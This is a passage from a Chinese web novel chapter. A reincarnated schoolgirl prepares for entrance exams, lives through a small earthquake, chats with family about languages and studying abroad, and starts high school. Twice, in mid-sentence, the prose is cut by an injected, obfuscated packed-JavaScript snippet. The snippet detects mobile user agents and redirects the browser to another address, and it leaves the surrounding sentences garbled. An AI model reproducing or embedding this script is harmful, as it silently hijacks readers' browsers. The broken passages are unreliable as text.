周六是校园文艺节,但初三高三不出节目。尤其是现在大家拿着比上学期期末低的成绩却没有班级成绩排名,回家的境况可想而知,有一半的学生是耷拉着脸来的,还有不少干脆蹲在家看书做题、随便找个理由请假了。 苏茜和田颖毓都来看不知该如何评价的中学生演出。前者比上学期成绩高不少,尤其是英语进步明显,还拿到五十块奖励;后者总分只低了几分,称不上退步,尤其联想到这姑娘看了一个暑假的电视,家里骂了几句就轻轻放过。 “唱得真是……”田颖毓的嗓门在有些嘈杂的礼堂里并不显得突兀。 苏茜装打瞌睡,压根不说话,就怕引起同桌的“谈兴”,丢脸的就是自己了。 两个多小时结束。苏茜在书店附近吃完饭买了几本书后再骑自行车回家,秦健则是跟几个同学跑去快餐店吃午饭然后骑车回家。两个人都分别把奖励花掉了。 苏家对兄妹俩的开学摸底考成绩很高兴。两套卷子难度都超过期末,但两个人的总分都提高了。尤其是苏茜,几门主科都高了,总分提升近20分——这个成绩直升本校高中有底气得多,可能都不需要额外出赞助费。 苏茜本人可不满意。 首先,得中考成绩达到初中部至少前四十、最好前二十,才能进本校高中的重点班,然后文理分班前的考试也必须保持中等水准,才能保证不在分班的时候被踢出唯一的理科重点班。本校高中部一向文科班学生少于理科,而且文科里有很多是偏外语专业,因此理科重点班的竞争激烈程度远超文科重点班。 苏茜这个周末依旧是锻炼加看书做题,搞得秦健也不好意思出去玩。 下一周,正上课的时候,教室里的师生们突然感到一阵震动。 “地震!大家有序撤出去!别管书包!快,不要挤!别愣着!” 苏茜的教室在二楼,蚊子比一楼少一点点,不过撤离比三楼快。两分钟后大家就都站在操场上。 “我觉得大楼三个楼梯挺好。” “是啊是啊,大家都在楼梯边上。” 高中部那边也都在操场上。 这时又出现了一次余震。但之后就没有震动了。 学生们等到肚子饿了才陆续回教室收拾了东西,直接放学。 家里两位老人和赶回家的夫妻二人看见子女回来了,都松了口气。 “我同事也说,这几年附近地震开始频繁,差不多一年一次。”感觉不太好的样子,但谁也不知道什么时候开个大。 苏茜点头。她曾经在锦城工作好些年,只有被轰.炸扫射,没遇到过地震。 “哥,我们大学考出去,去海城或京城,或者其他气候好点的地方,比如琼岛、厦岛,大家都去那里定居,气候好或是经济发达。我就怕地震,我们现在就在龙门山断裂带,迟早要震。我们这房子抗震吗?” “你地理真好……”秦健都不知道这个断裂带的名字,因为课本和考题都没有。 “去年不是也有小地震,我就去找了书。”其实她没浪费那钱,翻到那一页证实之后就放下了。 秦国栋和苏辰娟则是对视一眼。 房子抗震吗? 当然不!这种当年的自建房,四级以上就很难说了。 他们又不是锦城市区,本地经济也就那样,她家条件算是好的,但房子租不上价,收入也就是中等。可去大城市,住房、医疗怎么办? “要不可以考虑江城,那也是大城市,房价也心平气和。到时候看情况吧。”秦国栋去唐山救过灾,甚至当时还有余震,回想起那恐怖的场景真的有些坐不住。最要命的是今天震动的瞬间让他差点以为回到了二十年几前。 苏家艮和俞凤英略有些不以为然,他们老两口一辈子都没去过几回外地。但他们对琼岛和厦岛颇感兴趣。 对此苏茜是最有发言权的。 “……琼岛北部其实冬天并不怎么暖和,阴雨天气多,得穿薄棉衣,夏天跟我们这里比时间长,但没那么热。南部就是热带,下雨只有雷阵雨,四季都不需要穿厚衣服。春秋天最高温度能有三十度,但以后冷空调肯定会便宜普及的,所以气候一点问题也没有,水果也多,就是蔬菜肉类供应需要运过去会比较贵。这样看起来气候和生活还是厦岛好,鸡鸭猪牛羊和海鲜同时有,气候也不算太湿热,口味反正自己加辣不加辣都可以,平时不需要排队等渡海,经济也不比锦城渝城差,海景也就是比琼岛差一点。” 怎么办? 好心动! 没到冬雨季节腰膝就酸疼的俞凤英真的心动了。她有老姐妹跟着闺女去厦岛,还寄给她过漂亮的海边照片。 “等孩子们考上大学,我们就出去看看。” “把这里的老房子卖了到那边买房好了。还是用爷婆的名义买。” “你们先考上大学!去好的城市好的大学,我们就给你们买房子。要是考到国外,在美国读书,我们就在美国买房子!”苏辰娟拍了拍闺女的脑门。他们现在回家了,但晚上的时候仍然聚集在楼下空地胆战心惊的。 “妈,国外的房子反而便宜。但贵的是房产税,每年交税。几十年就等于重新买一套房子和土地。”这一点,苏茜无比权威。 “啊?每年交税?”这是什么道理!老老少少都愣了。 “对,而且不按照买的价格,是平均价的百分比交税。每个州都不一样。甚至一个州的不同城市也不一样。而且家里不可以种菜,不可以晒衣服被子。”比如阿州。“所以不少人住在房产税低的州,每个礼拜开车去消费税低的州买东西,一年可以省很多钱。” “……不是说美国很富吗?”老人家无法理解,不许种菜可以理解,不准晾晒衣被是什么鬼?! “美国富人多,全世界有钱人都去那。但是普通人数量多啊,比如华人根本找不到好的工作,升不到多高的职位,开公司去做生意没有背景关系也被歧视,可能就得住地下室,家具用的是别人扔掉的,买便宜的菜自己做饭吃。不过回来穿得好好的,人五人六的。”这一点秦国栋见识得比较多。 苏茜对此倒没有太多感觉。干这事的多了去了,远不止华籍。“要说有钱人去的国家,狮城算是一个,税低、安全,夏天并不算太热,除了太小、太贵没别的不好,移民的话能享受到低得多的房价和医疗,子女念的当地大学在全世界的排名都挺高的。对了,英语水平也比港城的好。学英语千万不要去港城和爱尔兰。” “爱尔兰?不是讲英语的吗?” “爱尔兰语和英语不一样,但都是那里的官方语言。就像狮城有四种官方语言。英、爱语都是印欧语系,但英语属于日耳曼语族,爱尔兰语属于凯尔特语族。” 五口人,甚至周围小区里的人听得一脸懵,啥语系语族的,直接说不是一回事不就完了。 “日耳曼语族?”秦健似乎听到自己熟悉的名词。 “对,德语、英语、荷语之类,是同一支。不过北欧,比如瑞语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091031|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、挪语、丹语是另一支。” “……有那么多外语哈!我还以为外语就是英语。” “婆婆,还有日语韩语那么多亚洲语呢。欧洲还有罗曼语族呢,法语、意语、西语、葡语、加语一大堆。像加泰罗尼亚,以前是阿拉贡王国,现在属于西国,西国以前的名字就叫阿拉贡和卡斯蒂利亚联合王国,所以西国其实有两种语言。嗯,英国其实也是英格兰、威尔士、苏格兰和北爱的联合王国,苏格兰语更接近爱尔兰语,不过前三块地方融合的时间久了就成为大不列颠。” “所以北爱问题一直是很大的麻烦。”一边有人用“抑扬顿挫”的英语插话。 秦健翻了个白眼。那个语调真的是…… 苏茜一听就知道这位是天天在楼下绿化带“读书”的那位,跟秦健同年级。 “发th这个音要轻轻要舌头。比如thank you,不是sank you。”苏茜笑眯眯纠正对方的发音。从咬舌头的th,到连读的音节。而且是一遍英语一遍翻译的华语。“……学英文歌是个很好的方式。不过千万不要学一些含糊不清的歌手的歌,更不要一开始就学饶舌Rap,最好是经典的。如果能唱Queen的歌,那就说明口语可以了。” “Queen的歌?”秦健突然反应过来。“之前的世界杯主题曲?” “对,是他们的代表作之一。” 秦健再不敢对“老同学”落井下石。因为之前他的发音也不对,而且也唱不了Queen的歌。 快半夜了,苏茜一点不记得这个时间、这个地点有大地震,所以几乎是第一批就回家去了。即使今天的功课取消,她有好几本题集还没动呢,尤其是化学。 而气得半死的同学被这初二的学妹无情碾压,连话都说不出来。这口音和语速、词汇量一出来,笔试成绩已经不需要提了。 十月假日里,秦国栋给女儿带来几所大学的外语保送生考试信息,都是外语类专业。苏茜其实对外语专业一点兴趣都没有,另外,厦岛的大学在本地也不招生——她其实挺喜欢那个以美景著称的大学。 “……没关系,你有特长也是好的。”秦国栋摸摸女儿的短发。他现在就开始根据秦健的成绩和喜好,收集几个大城市尤其是江城、京城、海城等合适大学的资料,同时也去排摸地段和房价——大中城市的房价跟自家的差距甚大,两室一厅都不够在那些地方买个一室居,这点让四个成年人直抓头发。 “我知道,放心吧爸爸,我会考上大学的。”她考虑学农业专业,农业院校的农业、园艺、农药或农机之类专业分数比综合性大学的金融专业低一大截,应该伸手就能够得到,不需要踮起脚冒险,本校高三大概前三百的学生就能做到。 所以,得先保证自己直升本校! * * * “预备!跑!” 小旗子落下的刹那,六个女生,不是那么快地跑了出去。女子八百米,是大部分女学生最讨厌的科目,没有之一。 苏茜不讨厌。从苏辰娟怀了她到现在,营养一直跟得上,体质比疍民那时好太多。即使没太多时间在小岛上,也可以通过饮食和运动以及一些接近练武的方式提升,睡前也会修炼半小时内功。半年过后效果很不错,她跑了第一,达到优的门槛。 “要是我们参与运动会,你能为班级争光了。”女班长喘了好几分钟才恢复。相比之下苏茜放松走了会儿就没事了,显然没有拼尽全力。 “高中时再说。今年我们中考确定不用考副科和体育吧?”苏茜脑袋上悬着一柄叫灾的大刀,虽然她除了未来的地震,一点也不知道问题出在哪。 “不一定,但我老爸说副科和体育一直到高考前都不能放松。”这是有依据的哦!一定要听。 “其实如果读大学也是相关的专业,那就要一直努力下去了。”比如体育类大学。 “呵呵,是啊!比如读医的,那生物是必修课。文科的历史就不要提了。” 等下一组也跑完。这堂课算是基本结束。 学生们都抓紧时间跑去楼里的厕所换衣服,然后回教室看书准备期末考。冬天在室外出汗再吹冷风,太不友好了。即使这里不是北方也不行啊,不知道南方冬季名产是湿冷嘛。 苏茜做中考模拟题集的时候已经颇有“手感”,绝大多数题都会,会的题里能拿大概95%的分数。但她也不敢只专攻那些几乎是竞赛型的题,因为本地中考很少不剑走偏锋,为了稳妥起见仍然要将基础题继续熟练再熟练,先直升本校高中部再说——本校是高考成绩数得上号的高中。 说到高考,苏茜绷了半年的疑惑突然亮了:高考如果有啥意外、影响百千万考生,那也是灾啊!所以,自己面对的是高考这把大刀? 在做梦都是做不出题交白卷的恐怖压力下,苏茜更加“努力”了,甚至将修炼压缩到每天二十分钟左右,就是为了先过这一关再说。 “叫到名字的同学上来拿卷子。”班主任的镜片下闪着渗人的精光。 底下鸦雀无声。考了整整一天后,大家只放松了两个半天,就要迎接终局。 期末考的题目绝大部分中规中矩,除了数理的拉分题没有把握,苏茜对自己还是比较有信心的。尤其是英语这样的。果然,因为教英语的班主任第二个叫她的名字,还表扬了她本学期“奋起直追”的勤奋劲。 “这个学期不错,中考加油。” “Yes,Ma''am。” 课堂里有零星笑声。 苏茜认真看完自己的卷子,一个语法题阴沟里翻船,作文毫无疑问要扣一点、但好在没有拼写语法错误。总体上依旧是自己略托大。 田颖毓这次不再大嗓门说话了。主科每一门都比同桌低的感觉太糟糕了,她只问一句:“你几点睡啊?” “十一点。”睡着的时间。 “哦!”自己是十点就睡了,难怪呢!田颖毓瞬间复活。 苏茜的副科也全部是90分上下,加上班里女生前几名的体育,确保不会拖后腿。 应试真的挺累人。没有做题天赋就是没有,不需要过分强求。 拿着漂亮的成绩和名次回家,这次爸妈每人奖励了一百块,还让她休息放松几天再做寒假作业。至于“仅仅”从二十名左右提高到十八名的秦健,拍拍脑袋就算完事。 “我听说有师兄为了留学考GRE,都是背朗文词典的。难道你也想留学?”秦健觉得不看自己妹子的脸,听她说英文简直像是在听磁带。 “GRE?那是,硕士吧?不是应该先高考再考虑别的吗!”要不是签证问题,她真的可以明年去参加高中毕业考,然后去同时读两个社区大学专业,毕竟她小山一样的“收藏”得跑出去才能弄点出来变现——有一回她收了被自己用火船烧掉一半的海寇船打算当柴烧的时候,收获堆满三个密封舱且不怕时光侵蚀的战利品,因为实在没地方存放、上百年过去还在小岛的荒地那边搁浅着呢……老实点看书做题,以后认真读点有用的。要不,“旧地重游”一把?好容易生活在交通便利的和平年代,到处看看曾经在某些平行时空呆过的地方也不错,然后去找个好的农业大学、比如霍大念个博士什么的,这样半辈子的时光就过去了,对父母也是个交代,到时候寄钱回家也是个说法。 “对对,成绩好的话能申请到全额奖学金呢!我们家这样的肯定是出不起美丽国的本科硕士留学费用。”卖掉房子都凑不齐天文数字一样的学费加生活费。 “得先念了大学再说。而且又不是只有一个国家适合留学。”虽然那些地方她熟,到哪都能混得不错,但能不每天拎着木仓还是不要的好,比如德国斯城的治安就比太平洋对面的塔城好起码十倍。就是吧,不知道哪里能弄个烧壁炉的林场木屋,还要装备比较齐全的那种。或是砖石小二层也好。 37.种菜要专业(二) 电话铃响,秦健去接了楼梯口的电话分机。老家一位近亲过世,外公外婆过去了。老妈出差,后天才回来。现在老爸打电话回家晚饭不回家吃。 “那我们出去吃晚饭?”上午去了学校,中午在外面吃的。“要不我去买三份抄手?”两个人吃正正好。 嗯?苏茜想了下,打开冰箱看了下,“我来做个炒饭吧。有现成的饭。” “你会做饭?!” “不是很简单吗?” 一大碗冷饭,半包三色豆,三个鸡蛋,一包鸡丁,菜油和调味料,真的就是随便炒炒,再一人一杯红茶——可惜没有柠檬。 秦健把一大碗炒饭和大半杯红茶全部干掉,满足得打了个饱嗝。 苏茜的份量比他少,吃的速度一致。 “去洗碗。”做饭的人不洗碗。 “好。”秦健被训练得不错,扫地拖地、煮粥洗碗、下面条装被套洗袜子这些基础家务都会做。 晚饭后苏茜还是得出去一回,买卫生用品。她有上千年没有享受到这样便利的现代工业品了,刚觉醒的时候,要不是看到外婆拿回家的超市宣传册子,差点想不起来。每次她都要花点时间适应时代、地点和出产,即使几年后偶然也还会犯个把常识性错误。 走出样式老旧的“新”小区,老式超市三楼是家新开的网吧,很多青少年都往三楼去,享受空调、游戏和二手烟。电脑和互联网出来了,可惜宽带和智能移动装备得再过若干年——人工智能也还在早期。要不以后学人工智能专业?但是自己的数学成绩以及对数字的无感,让她很快就打消了念头,搞工程机械或化学试剂可能还更适合她些,哪怕是学医也不错呢,就是做医护太累、时间过分不自由。 结账时用现金,把东西放进背袋,一路上苏茜在香辣食物的气味中回家。和平年代真是好啊! 爬上五楼——没有电梯不适合老人,这又是一桩卖房离开的理由——秦健已经回房间看书了。 锁门,关了客厅厨房的灯,看下煤气灶和水龙头有没有都关闭,上楼自己房间。 今天天气冷,不过苏茜嫌噪音从不开暖风机,也不开电热毯,更不用刺眼的太阳灯,全靠每年买一双老棉鞋、一条居家棉裤以及一双露指毛线手套——旧衣物用品甚至一堆塑料垃圾袋都放岛上备用,因为之前的衣物布料被褥床品,除了极少数还“健在”,其他全扔了,所以偶然看到打折的东西,她会多买一份放岛上。至于大一些的物件比如床架棉胎和煤球炉子,一时没有预算和机会买,粮油调料这种库存更不需要囤积。 * * * “小茜这次物理考多少分啊?”二姨多少带了些恶意,因为苏茜物理成绩最差。她家独生儿子跟苏茜同校同年级不同班,不过两个孩子关系不好,见面都不打招呼——可能是外公外婆更宠爱姓苏的外孙女的缘故。 “91。”个人历史最高分,班里肯定超过平均分。 “啊,这次物理卷子有点难度的呀!你抄答案了吗?”她那了不起的宝贝儿子居然只有81! “我同桌85,前后左右都没有超过90的。请问,我抄谁的答案?”苏茜给了个面对死人的眼神。 “……” “从暑假7月份到期末考试前,我每天都看书做题到十一点。” “……瑞瑞就是暑假里没怎么看书。”二姨瞬间找到理由。 “行吧,您这么想就这样吧。”苏茜就是故意的刺了一句。外婆和老妈半句话也不说,自顾自和三姨聊家常。二姨这张嘴在所有的亲戚里是最讨人厌的,而且每次来到秦家的复式楼都会酸话怪话控制不住,连二姨夫都麻木了,谁让他没本事家里是一室一厅、儿子还睡在客厅! “小茜啊,听说你英语口语不错?笔试考了几分啊?”三姨的独生女今年初一,小学就开始学英语,还会钢琴和舞蹈,各种培训班也上了一堆。她家也是苏家三个闺女里房子面积最大的,在市郊青山下一栋四楼四底的房子,底楼和二楼还开了家小吃店做点旅游业的生意——赚的钱都砸在孩子的教育上了,生活费则靠三姨夫做点小工程。 “因为作文有个语法其实是属于有争议的,还有英式和美式以及澳式其实有些细节都不一样,另外就是对同样文章大家的理解角度会有少许偏差,所以我满分里被扣减了3分。”真的是拼尽全力了。 全桌老中少都没听明白,但是磁带式标准语音语调还是让家长们有些熟悉的。 “97?”唯一听懂些的秦健试探道。 “聪明的脑袋瓜,兄弟。”艾州口音俚语,绝对不加西语口音。 苏辰娟伸手摸摸女儿的脑袋,本地方言,“你的小脑壳子今年中考英语能考147就好了。”但其实苏辰娟是在场人里面英语第二好的人,但她平时只在工作中用点书面的、听与说都不行,生活中也从来不讲。 “有点难度,但也不是完全不可能。”方言回去。 “先中考,再高考。高考英语,也要努力拉分数啊。”这小家伙语文和数理化都不怎么样,一枝独秀不是好事,因为这年头谁不会点英语啊,他们的局长说得才叫溜、堪比印度人。印度讲英语的,这点没错,对吧。 “……”自家学校说是本地重点,可每年考上清北的是个位数,考上重点大学——不是顶流——最多五十个,在省内都排不上前十。她接下来的所有寒暑假都得砸在数理化、文言文跟作文上,不然可能真的考不上本科,那就难看了。 以学习为名,兄妹二人直接跳过了年初二之外的亲戚应酬。 “要看高一的书吗?” “暑假的时候再看。” “你真要提前看啊?” “我打算多看多做点有难度的,中考比高考简单多了,而且每年高考都很难预料。”听说有的年度难得让考生崩溃大哭,估计自己就会碰到。最好准备就是了。 “……你这样讲,我真的有些担心了。”他是理科生,明年高考万一碰到难题扎堆的情况怎么办? “我们又不是天才,多花时间肯定没错。”她哥肯定碰不上。 …… 全家人在尝过苏茜做的蒸鱼和麻婆豆腐后就不再担心两个小家伙的吃饭问题。反正冷藏里时刻有些食材,冷冻箱里还有水饺,饿不着。 整个寒假时间不长,苏茜只在家做过三次饭,其他时间都在看书,而且这次终于把去年暑假买的题集全部做掉了,“不得不”跑出去又买了一批中考模拟题集。 初三下学期开学。 秦健没碰到糟心的摸底,但苏茜他们这一届初三学生迎来五校联合模拟考,而且是考两轮。之后就是中考本尊,也许还有毕业考?苏茜不太确定。 “这个学期的三场考试,大家一定要努力。因为中考和两次模拟考,其实可以看做是本校高中部的保送考试,即使中考一不小心考砸了也能直升高中部。”班主任开学第一天就交代得很清楚。 “你说我有希望直升吗?”田颖毓在被罚过两回后上课时不敢再出声,下课后才碰了碰同桌的胳膊。 “努力就有希望。你寒假怎么过的?” “就……寒假作业还是做完的。”谁过年不是吃吃喝喝玩玩乐乐的啊?! “你是打算念中专吗?” “……我妈说旅游中专也不错。” “那你体育别落下,当导游全靠体力。” “啊?!”不是穿着制服短裙忽悠人买东西吗? “你每天都要做业务的吧?那就每天爬一遍山试试。起码要每天爬到半山吧。” “……不是有游客中心,旅游商店之类的。” “你家里关系那么好?” “……” “所以啊,其实哪一行都不容易。读了大学出来照样得埋头干活。”比如她如果念个园艺,出来是无地菜农……呃,论起买农林场的,其实还是太平洋对岸的“老家”方便,“老家的老家”西国更糟,她只在三十年战争的时候代替父亲给普军运后勤时去过加泰罗尼亚。 “这倒是!”田爸还说大学读出来是二十多岁的老姑娘了,只能学校里找个,毕业就结婚。最关键的是现在不包分配还要每年交大几千学费,连生活费四年下来要好几万,家里真的有些吃不消。“你是要考大学的吧?” “嗯,婆婆说卖了老房子,给我和我哥,还要表哥表妹交大学学费,生活费父母出。” “那么多孩子!”田颖毓知道同桌没有舅舅,她老妈是长女所以特别好强。 “又不是每个都能考上大学。中专学费他们是不出的。”所以她二姨咬牙天天抽儿子务必直升本校高中,不然连大专都上不了岂不是没脸见亲戚。 田颖毓笑着摇头。同桌和她同一届的表哥还打过架——同桌赢了,从此那个矮矮胖胖的小子再也不主动跟同桌打招呼说话。 问了几个题目后,下一节课铃声响起。 老师讲的内容有深有浅。苏茜位置在第三排靠窗第二列,对于非常熟悉明白的内容干脆抄题目做题,看上去像是记笔记的样子,总体不会引起老师的斜眼注意。何况现在初三下学期了,能不能上本校或市区更好高中的学生老师也心里有数。苏茜属于不出意外就能直升却称不上惊才绝艳,所以老师们不会多看一眼。 一个月后,第一次模拟考。 有点难度,但不算脱缰。这次模拟考的成绩是年级公布的,八个班级四百号学生,苏茜全班第三,年级二十一。 “你是直升本校高中部吧?”田颖毓已经放弃了与同桌争名次,太累了。 “对。” 班长考第二,他来问全年级前百的同学做“调查”。他们班没有年级前五,也没有打算考全省重点的。 第二次模拟考直接作为期中考。苏茜站住了第三,跟第二只差两分,年级第二十名。 累死了!而且新的规定出来,中考主副科一起考,包括体育。消息出来哀鸿一片,尤其是体育一般的。 “我高中选理科!”她宣布。史政背得头晕眼花。 好几个同班同学附和。背了整整一个月的书,大家都眼窝泛着青黑,没一个拥有好状态。 而中考之前还有一场校内保送考。 题目偏难,这次苏茜考了全班第二,班主任发给她通知的时候暗示中考正常发挥就能进重点班。 “啊!终于要中考了!”时间好漫长啊好漫长!苏茜摊在木头沙发上躺尸。外公外婆和爸妈则很开心。年级前二十呢! “乖,接下来还有高考。”秦健捏捏妹妹的脸蛋。妹妹也能进重点班,真是好消息! “还有三年,不急不急。” 考前三天,苏茜直接放飞自我,捏着买来的专业曲谱唱卡门,法语版,听得全家一脸懵:这啥外语啊这是。 四周后,全家等着时间一到就狂拨电话,二十分钟后才打通。 比满分少19分。 “行了,重点班。你想好理科还是文科了吗?” “理科。” “那你打算考哪里的大学?” “不知道。你呢?” “我打算考京城的。” “那我也考京城的吧。清北考不上,其他的学校还是有很多的。”比如农大,分数线在京城的大学里算是心平气和。 “嗯!妈,我们去买京城的房子吧!哪怕只有十五平米。”不知道能否落户口。 “能升值。哥毕业出来还能当单身宿舍。如果在京城落集体户,起码先占个学区房。” “你也是啊。你的外语那么好,留下还是容易的。” “我不一定,说不定跑琼岛甚至欧洲去念个硕士博士的。”苏茜拍拍秦健的肩膀。 秦健看向她。真的? 她回视。你以为呢! “也对!小茜,你外语那么好,考出去,婆婆支持你!” “婆婆,放心好了,比如德国那边,念到博士不需要学费,还能工作兼职挣生活费,这个是合法的,税收还低,加上医保,一点不比美丽国差,那边的全额奖学金只给少数专业。” “啊!这样啊?”除了秦健,其他人眼冒金星。闺女真能留学? 等上了楼,秦健问,“博士要读几年?” “四五?五六年?其实那边的博士不是学生,而是初级科研人员,得出点成绩。这样找工作或是回国更有前途。纯念书不会上手,到哪都得靠边站。” “是不是还要德语考试?”他的消息范围可是很广的。不少人就是卡在语言关,家里只能砸锅卖铁去英格兰念硕士。 “英语好的话,德语学起来很快的。”她随时都能达到精通。就是荷语葡语之类差些,不过有德语西语的底子,相信几个月就够了。 “……我毕业了会努力赚钱的。”妹妹想留学吔,还不得准备钱。 “你需要努力买房。房子肯定是越来越贵的,起码涨个二十年,你算下每年百分之十几二十的,二十年后是多少,那是十五到二十倍,越好的城市涨得越多。相对我们这里可能没那么高。这套房子现在还能换京城三环内二十平米,二十年后得去五环外换二十平米。”可能有点夸张,但就是这个意思。 秦健眨眨眼,“你是说,大城市里的人越来越多,所以房子不够就得不停涨?” “对,这是基本趋势,除非人口减少。” “独生子女政策都没让人口少下来。” 秦健叹气,回房间看书。选金融或是计算机专业?但这俩专业分数都高得不行,清北之类顶尖大学的热门专业他肯定考不上。要不看看别的学校和其他专业吧,别跟那些人挤一块投简历,毕业时因为找不到工作而去考研就不划算了,因为念出来可能仍然找不到工作……先不想专业和就业问题,自己才高二呢!妹妹也才刚中考结束。 …… “你二姨花了三千,让你表哥上你们高中。不过是普通班。”那孩子初一时成绩还可以,比孙女还高几分,后来越来越差,现在居然要交费上本校高中。俞凤英有些难以理解,不是说男孩子都是后发优势吗?二女儿至今不知道苏茜是保送进重点班的,反正模拟考和中考分拿出来所有人都得点头,表兄妹俩中考成绩相差好几十,一个一班,一个九班。 “可能他到了高中会好点吧。”瞎说的。苏茜帮外婆摘完菜,利索地加粗盐清洗,沥掉水,切成滚刀块。然后是鸡肉焯水、加调料放进砂锅,处理肉丝、黑木耳又回过来将火关小,半小时就搞定,又快又好没有浪费一点力气。只要吃饭前将两道菜炒一炒就好了。 她返回去继续磕磕绊绊地看高一数理化。一个小时都没搞明白一个知识点就吃晚饭了。 饭桌上外婆大力夸奖外孙女家务利索,以后肯定是内外一把抓的好手。 苏茜微笑,决定继续单身人设。内外一把抓,挣钱家务老少都归自己?这比跟海寇德军战斗还要痛苦!何况不能进小岛避暑、取暖、修炼、练武的情况让她有一丝焦躁——也许这种不良情绪来自于完全看不懂的GRE数学题,再联系瓦大农业专业还要统计学成绩不错就更暴躁了。 要不找机会去趟港城,将一些“收藏”卖掉,然后去北欧买个森林小木屋,每天修炼种菜,在火炉边画画,顺便每两年干掉一个持械劫匪,高高兴兴地当个现代隐士。想到冰川森林,苏茜还是有些心动的。反正冻不坏饿不死,再给四位老人打些赡养费,多好!就是现代和平社会,资金来源会有点麻烦。 哦,还有一条!如果要“留学”的话,学费得先挣出来!社区大学一年都要几千美刀呢。她提到的德国大学免费,也就是说说罢了,学费之外还有生活费手续费和来回机票签证等等一堆支出,她肯定得自己搞定。就知名快餐店几块钱一小时的工资,想挣出留学费用是做梦。 现在去港城是受限的,境外更不可能,她甚至一时都无法报考国际合作项目专业,除非找到什么别的合法来路。 这个年代有古董市场吧?她那一堆万历年间的东西怎么都能解决学费问题吧?只是什么时间在什么地方卖出是个问题。估计得考上京城的大学后了——那里也更容易卖出价。 在思考“留学”学费之前,她先得考上大学。 也就是高考要成绩必须不错。 * * * 同一个校园,高中部在不同的大楼。 这次一班在三楼。头顶没有人蹦跶吵闹,爬楼梯也不算太累,就是地震的时候得多花一两分钟。另外,九班在教学楼走廊另一头,平时不会碰到,也省得苏茜再揍一回表兄。 田颖毓中考时“如愿”考上旅游中专,并且整个暑假都在疯玩。而苏茜则持续去年暑假的节奏,看书做题绝不浪费一个小时,连电视都不看——实在是不感兴趣。 苏茜踏入一班,只有原来的班长和自己同班,其他的同学一半是其他班一半是其他学校考进来的。他们班上第一名跟着家人出国读高中去了,具体去哪里倒不是很清楚。 “我叫杜仟俪,你呢?”新同桌在课本上写了自己的名字给苏茜看。 “我叫苏茜。”苏茜同样在课本上写了名字。 “那你英文名字都不用另外取了。” “是啊。” “呵呵,我英文名字是Lily。” “特别好记。” 两个女生在旁人眼里莫名其妙地笑成一团。 杜仟俪的中考成绩比她的高一分,同样是理科,理想职业是计算机。不过想必全省跟她竞争园艺蔬菜专业录取名额的考生不会太多,大家那么努力念书可不是为了去种菜,报考农药的人都会更多些吧,更不要说商务跟国际合作之类才是农院比较热门的,吧? “我的专业方向应该是应用化学,或者生物学之类吧。”她讲得比较含糊,“或者应用材料类。” “哇,你很有专业想法啊!”听着就很实际的样子。 “嗯,我觉得现在的计算机吧,硬件软件都不怎么样的样子,不去美丽国根本学不到什么东西。”做十几年码农,拼命工作的时候根本没时间学习新知识,然后突然有一天公司关门找不到工作而不得不提前退休?这不是她喜欢的路子。 “啊……” “高纯硅,芯片,还有操作系统,我们有吗?”最关键的是,现在国内能学什么?哪怕跟了大牛老师念到博士——似乎以身体好、精神佳、脸皮厚的男士为主——技术路线错了或是公司内斗输了甚至成果被剽窃了,会比码农还惨。 “啊……”不太懂。 “所以,我甚至建议你去读应用物理,或者应用数学,因为计算机硬件的基础就是物理,软件啊算法啊基础就是数学。不建议金融数学,因为进银行工作只有一个指标,就是存款额。”只是她的观念是站在若干年后,当故事看的那种,很难想象当时的少年人们曾经怀揣着怎样的“伟大”理想。 “啊……” “当然,其实我是想说,如果你考不上清北,去不了美丽国,虽然不是没有前途,不过概率比较小。因为女生如果长期压力大,身体会出现更多问题,老板绝对不会养一个身体不好、不能天天加班甚至还要照顾家庭孩子的员工。” “可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098853|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是,总要有人做饭之类的啊……”杜仟俪弱弱地道。她妈妈就是每天四点半冲回家给公婆丈夫子女做饭。 “那你干嘛考好的大学,反正将来只能打杂。” “可,如果是公务员会不会好一点?” “呵呵,我妈是,但她从升到副科长开始工作就很忙,家里全靠我外公外婆,我爸做得都比她多些。听说京城部委更惨,每天早八点到晚八点是常事。不过一些不太发达的地方的一些岗位可能很轻松,但你确定能混进去吗?” “……”她家虽然不错,但还有两个读大学的哥哥呢,即使有什么路子肯定也是给哥哥们的。 “你两个哥哥好像明年要毕业了吧?到时候看他们的情况就知道了。”俩双胞胎哥哥,省会读大学,肯定更受重视。 开学第一天就被打击得不行的杜仟俪报道的兴奋彻底变凉。好在今天不正式上课,不然会影响听课。 …… “这篇小说讲的是两百多年前……” 苏茜的英语全班第二高分。第一高当了课代表,今天就被叫起来复述课文,然后全班被碾压了。 之后,英语老师再也没有叫她起来回答问题或是背诵课文,因为连老师一起打击了。 “你的本子上记的是什么?”杜仟俪看了眼同桌的英语课堂笔记,但是,一眼看过去,没懂?再多看几眼,还是不太明白? “德语。其实跟英语是同一个语族,所以你会觉得有些眼熟。”要是写上其他语比如阿语,那就彻底是天书了。不过她的阿语已经很不行了,如果要用,得花至少一年时间重新捡起来。 “你是不是英语课不好意思看数学?” “是啊。”她都把偶然听到的、想到的,直接扩充成小作文,这样回忆各种语言单词语法的同时练练作文,省得扣分太多。 